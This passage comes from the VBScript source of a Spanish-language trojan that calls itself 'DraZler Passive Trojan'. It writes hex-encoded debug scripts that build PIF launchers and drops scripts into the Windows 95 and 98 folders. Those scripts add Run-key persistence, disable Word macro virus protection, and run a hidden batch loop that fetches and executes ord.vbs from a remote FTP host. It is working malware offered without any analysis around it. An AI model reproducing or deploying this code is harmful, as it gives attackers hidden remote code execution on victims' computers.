DrazSrcPif.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ")
 
DrazSrcPif.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ")
 
DrazSrcPif.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ")
 
DrazSrcPif.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ")
 
DrazSrcPif.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 44 4F 57 53 5C ")
 
DrazSrcPif.WriteLine("E 02D0 64 72 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ")
 
DrazSrcPif.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 ")
 
DrazSrcPif.WriteLine("E 0380 73 74 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C ")
 
DrazSrcPif.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ")
 
DrazSrcPif.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ")
 
DrazSrcPif.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ")
 
DrazSrcPif.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif.WriteLine("E 04C0 00 00 00 00 00 01 00 ")
 
DrazSrcPif.WriteLine("RCX")
 
DrazSrcPif.WriteLine("400")
 
DrazSrcPif.WriteLine("W")
 
DrazSrcPif.WriteLine("Q")
 
DrazSrcPif.Close()
 
Set DraZ95 = AccesoHD.CreateTextFile("C:\WIN95\drazler.vbs",1,false)
 
DraZ95.WriteLine("On Error Resume Next")
 
DraZ95.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; ",1,false)")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@echo off" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo user milogin miclave &gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get done C:\done &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get ord.vbs C:\ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo delete ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo bye &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":repetir" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if not exist C:\rank.sys goto reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "ftp -n -v -s:C:\rank.sys mi.ftp.com" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\done goto ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "goto repetir" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\ord.vbs wscript C:\ord.vbs" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\done" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ftp.Close()")
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" &amp; Chr(34) &amp; ", " &amp; Chr(34) &amp; "C:\WIN95\wscript.exe C:\WIN95\dinit.vbs" &amp; Chr(34))
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" &amp; Chr(34) &amp; " , " &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ95.WriteLine("Flecha = Ejecutar.RegRead(" &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" &amp; Chr(34) &amp; ")")
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" &amp; Chr(34) &amp; ",Flecha")
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "An InfoBioGenetic Industries Production." &amp; Chr(34))
 
DraZ95.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "DraZler Passive Trojan." &amp; Chr(34))
 
DraZ95.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ95.Close()
 
Set DraZInit95 = AccesoHD.CreatetextFile("C:\WIN95\dinit.vbs",1,false)
 
DraZInit95.WriteLine("On Error Resume Next")
 
DraZInit95.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZInit95.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\WIN95\drazler.pif" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZInit95.Close()
 
Set DrazSrcPif95 = AccesoHD.CreatetextFile("C:\draz95.src",1,false)
 
DrazSrcPif95.WriteLine("N c:\win95\drazler.pif")
 
DrazSrcPif95.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ")
 
DrazSrcPif95.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ")
 
DrazSrcPif95.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 39 35 5C 77 73 63 ")
 
DrazSrcPif95.WriteLine("E 0130 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 39 35 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 39 35 5C 64 72 ")
 
DrazSrcPif95.WriteLine("E 01B0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ")
 
DrazSrcPif95.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ")
 
DrazSrcPif95.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ")
 
DrazSrcPif95.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ")
 
DrazSrcPif95.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ")
 
DrazSrcPif95.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 39 35 5C 64 72 ")
 
DrazSrcPif95.WriteLine("E 02D0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ")
 
DrazSrcPif95.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 39 35 5C 73 79 73 74 ")
 
DrazSrcPif95.WriteLine("E 0380 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C 00 00 ")
 
DrazSrcPif95.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ")
 
DrazSrcPif95.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ")
 
DrazSrcPif95.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ")
 
DrazSrcPif95.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif95.WriteLine("E 04C0 00 00 00 00 00 01 00 ")
 
DrazSrcPif95.WriteLine("RCX")
 
DrazSrcPif95.WriteLine("400")
 
DrazSrcPif95.WriteLine("W")
 
DrazSrcPif95.WriteLine("Q")
 
DrazSrcPif95.Close()
 
Set DraZ98 = AccesoHD.CreateTextFile("C:\WIN98\drazler.vbs",1,false)
 
DraZ98.WriteLine("On Error Resume Next")
 
DraZ98.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Set Ftp = AccesoHD.CreateTextFile(" &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; ",1,false)")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@echo off" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo user milogin miclave &gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get done C:\done &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo get ord.vbs C:\ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo delete ord.vbs &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "echo bye &gt;&gt; C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":repetir" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if not exist C:\rank.sys goto reiniciar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "ftp -n -v -s:C:\rank.sys mi.ftp.com" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\done goto ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "goto repetir" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; ":ejecutar" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "@if exist C:\ord.vbs wscript C:\ord.vbs" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\done" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.WriteLine(" &amp; Chr(34) &amp; "del C:\rank.sys" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ftp.Close()")
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DraZler" &amp; Chr(34) &amp; ", " &amp; Chr(34) &amp; "C:\WIN98\wscript.exe C:\WIN98\dinit.vbs" &amp; Chr(34))
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options\EnableMacroVirusProtection" &amp; Chr(34) &amp; " , " &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ98.WriteLine("Flecha = Ejecutar.RegRead(" &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\Arrow" &amp; Chr(34) &amp; ")")
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting" &amp; Chr(34) &amp; ",Flecha")
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "An InfoBioGenetic Industries Production." &amp; Chr(34))
 
DraZ98.WriteLine("Ejecutar.RegWrite " &amp; Chr(34) &amp; "HKEY_LOCAL_MACHINE\Software\DraZler\NaMe" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "DraZler Passive Trojan." &amp; Chr(34))
 
DraZ98.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\draz.bat" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZ98.Close()
 
Set DraZInit98 = AccesoHD.CreatetextFile("C:\WIN98\dinit.vbs",1,false)
 
DraZInit98.WriteLine("On Error Resume Next")
 
DraZInit98.WriteLine("Set Ejecutar = CreateObject(" &amp; Chr(34) &amp; "WScript.Shell" &amp; Chr(34) &amp; ")")
 
DraZInit98.WriteLine("Ejecutar.Run " &amp; Chr(34) &amp; "C:\WIN98\drazler.pif" &amp; Chr(34) &amp; "," &amp; Chr(34) &amp; "0" &amp; Chr(34))
 
DraZInit98.Close()
 
Set DrazSrcPif98 = AccesoHD.CreatetextFile("C:\draz98.src",1,false)
 
DrazSrcPif98.WriteLine("N c:\win98\drazler.pif")
 
DrazSrcPif98.WriteLine("E 0100 00 78 44 52 41 5A 4C 45 52 20 20 20 20 20 20 20 ")
 
DrazSrcPif98.WriteLine("E 0110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ")
 
DrazSrcPif98.WriteLine("E 0120 80 02 00 00 43 3A 5C 57 49 4E 39 38 5C 77 73 63 ")
 
DrazSrcPif98.WriteLine("E 0130 72 69 70 74 2E 65 78 65 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0160 00 00 00 10 00 43 3A 5C 00 49 4E 39 38 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01A0 00 00 00 00 00 43 3A 5C 57 49 4E 39 38 5C 64 72 ")
 
DrazSrcPif98.WriteLine("E 01B0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 01E0 00 00 00 00 00 00 01 00 FF 19 50 00 00 07 00 00 ")
 
DrazSrcPif98.WriteLine("E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0270 00 4D 49 43 52 4F 53 4F 46 54 20 50 49 46 45 58 ")
 
DrazSrcPif98.WriteLine("E 0280 00 87 01 00 00 71 01 57 49 4E 44 4F 57 53 20 33 ")
 
DrazSrcPif98.WriteLine("E 0290 38 36 20 33 2E 30 00 05 02 9D 01 68 00 80 02 00 ")
 
DrazSrcPif98.WriteLine("E 02A0 00 64 00 32 00 FF FF 00 00 FF FF 00 00 E2 1F 18 ")
 
DrazSrcPif98.WriteLine("E 02B0 00 1F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 02C0 00 00 00 00 00 43 3A 5C 57 49 4E 39 38 5C 64 72 ")
 
DrazSrcPif98.WriteLine("E 02D0 61 7A 6C 65 72 2E 76 62 73 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0300 00 00 00 00 00 57 49 4E 44 4F 57 53 20 56 4D 4D ")
 
DrazSrcPif98.WriteLine("E 0310 20 34 2E 30 00 FF FF 1B 02 AC 01 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0370 00 00 00 63 3A 5C 77 69 6E 39 38 5C 73 79 73 74 ")
 
DrazSrcPif98.WriteLine("E 0380 65 6D 5C 73 68 65 6C 6C 33 32 2E 64 6C 6C 00 00 ")
 
DrazSrcPif98.WriteLine("E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03C0 00 00 00 15 00 12 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 03D0 00 32 00 01 00 00 00 00 00 00 00 00 00 00 00 E0 ")
 
DrazSrcPif98.WriteLine("E 03E0 0F 00 00 05 00 19 00 03 00 C8 00 E8 03 02 00 0A ")
 
DrazSrcPif98.WriteLine("E 03F0 00 01 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0400 00 00 00 00 00 54 65 72 6D 69 6E 61 6C 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0420 00 00 00 00 00 4C 75 63 69 64 61 20 43 6F 6E 73 ")
 
DrazSrcPif98.WriteLine("E 0430 6F 6C 65 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0440 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0450 00 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
